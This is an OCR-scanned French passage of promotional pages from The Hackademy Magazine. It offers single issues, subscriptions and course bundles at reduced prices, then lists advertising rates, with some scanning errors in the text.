| suffit de se rendre sur notre site et de commander le prochain numéro, avec votre CB ou par chéque, avant le 20 octobre.
Vous le recevrez directement chez vous, et méme deux jours avant les marchands de journaux !

Pour de meilleures conditions encore, vous pouvez aussi vous abonner, souscrire a nos packages et découvrir nos promotions |

Comment parvenons-nous a faire baisser les prix a ce point ?

Lorsque vous commandez directement chez nous votre numéro, nous n'avons pas a verser de commission
aux messageries de distribution.

L'économie réalisée vous est alors intégralement reversée sous forme de réduction.

C'est le méme principe gue 'abonnement, mais accessible désormais au numéro.

Pourquoi le faisons-nous ?

Parce que nous estimons que la presse informatique, surtout dans le domaine de la securitg,

est beaucoup trop chére (7,45 euros pour MISC, 7,50 euros pour hackin9 par exemple).

Fidéles a notre idéal de diffusion du savair pour le plus grand nombre, nous souhaitons donc é&tre a l'origine

d'un grand mouvement de baisse des prix en donnant I'exemple. Avec 84 pages sans aucune publicité,

The Hackademy Magazine est deja le moins chére des mags de sécu de gualité. Mais nous voulons aller plus loin encore.

Farticipez vous aussi a ce mouvement en commandant votre prochain Hackademy Magazine (ou en vous abonnant)
sur notre site www.thehackademy.net

Vious pouvez aussi utiliser le bulletin ci-dessous, avec des frais forfaitaires de traitement de 1 euro par bulletin :

Envoyez votre bulletin accompagné de votre réglement a l'ordre de DMP, 26 bis rue Jeanne d'Arc, 94160 Saint-Mandé

Je commande le prochain numéro pour 4,5 euros
|arrét des commandes pour be N3 le 24 juin Z006) r

Je m'abonne pour un an pour 27 euros (soit 4,2 euros le numéro) <

Je m'abonne pour deux ans pour 49 euros (soit 4,1 euros le numém}f-f

Y

| Packages abonnements + cours de the hackademy School 1 1] |

&~

Je souscris un package intit pour 99 euros T
(abonnement 1 an + les cours newbie et newbie+ de thehackademy school) T TR

Je souscris un package | LUV U pour 119 euros y
(abonnement 2 ans + les cours newbie et newbie+ de thehackademy school + le t-shirt vintage intrusion.exe) .~ |

Toutes ces commandes sant également accessibles en ligne sans frais de traitement Frais de traitement —I 1 € |
Profitez-en et faites-le savoir | Ensemble, nous ferons baisser le prix des magazines !
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The Hackademy Mag S'ouvre
aux professionnels !

Fort de sa ligne éditoriale pointilleuse et exigeante, The Hackademy Magazine
a su se faire reconnaitre comme la référence en matiére d’information
et d’analyse du domaine de I'informatique et de la sécurité informatique.

e une cible de lecteurs avertis et fideles

e une couverture publicitaire adaptée a vos besoins sur une ou plusieurs de nos publications
e des tarifs performants

e une diffusion dans le magazine ou sur le site web de I'Hackademy

Quel que soit votre domaine d’activité nous serons heureux
de vous compter parmi notre public d’annonceurs

Formule The Hackademy Mogazine ' The Hackademy Prog
et Hors-Séries

Page unique en intérieur | 800 euros 500 euros

Double page 1400 euros 1100 euros

Quatrieme de couverture 1200 evros 1000 euros

2 3 de couverture 1000 euros 900 euros

« Visibilité » 2000 euros

(une page dans
| chaque publication)

« Super Visibilité » 3000 euros
(4° de couv. sur trois

publicafions)

Remise de 20% sur lo premiére commande publicitaire.

,‘ Pour plus d’infnrmétinns, contactez-nous au 01 53 66 95 28 I|
, ou écrivez a publicite@dmpfrance.com
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